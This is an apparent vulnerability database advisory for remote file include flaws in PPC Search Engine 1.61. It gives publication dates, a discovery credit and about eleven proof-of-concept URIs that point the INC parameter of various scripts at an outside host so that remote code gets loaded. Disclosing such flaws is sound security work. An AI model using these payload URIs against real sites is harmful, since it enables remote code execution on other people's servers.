exploits , vulnerabilities , articles , PPC Search Engine INC Parameter Multiple Remote File Include Vulnerabilities

Title	PPC Search Engine INC Parameter Multiple Remote File Include Vulnerabilities
Published	2007-01-09-12:00AM
Updated	2007-01-10-05:21PM
Class	Input Validation Error
CVE
Remote	Yes
Local	No
Credit	IbnuSina is credited with the discovery of these vulnerabilities.
Vulnerable	PPC Search Engine PPC Search Engine 1.61
Not Vulnerable
Code	An attacker may exploit these issues using a web client. The following proof-of-concept URIs are available: http://www.example.com/path/config/config_admin.php?INC=http://www.example2.com? http://www.example.com/path/config/config_main.php?INC=http://www.example2.com? http://www.example.com/path/config/config_member.php?INC=http://www.example2.com? http://www.example.com/path/config/mysql_config.php?INC=http://www.example2.com? http://www.example.com/path/admini/admin.php?INC=http://www.example2.com? http://www.example.com/path/admini/index.php?INC=http://www.example2.com? http://www.example.com/path/paypalipn/ipnprocess.php?INC=http://www.example2.com? http://www.example.com/path/members/index.php?INC=http://www.example2.com? http://www.example.com/path/members/registration.php?INC=http://www.example2.com? http://www.example.com/path/main/ppcbannerclick.php?INC=http://www.example2.com? http://www.example.com/path/main/ppcclick.php?INC=http://www.example2.com?
TXT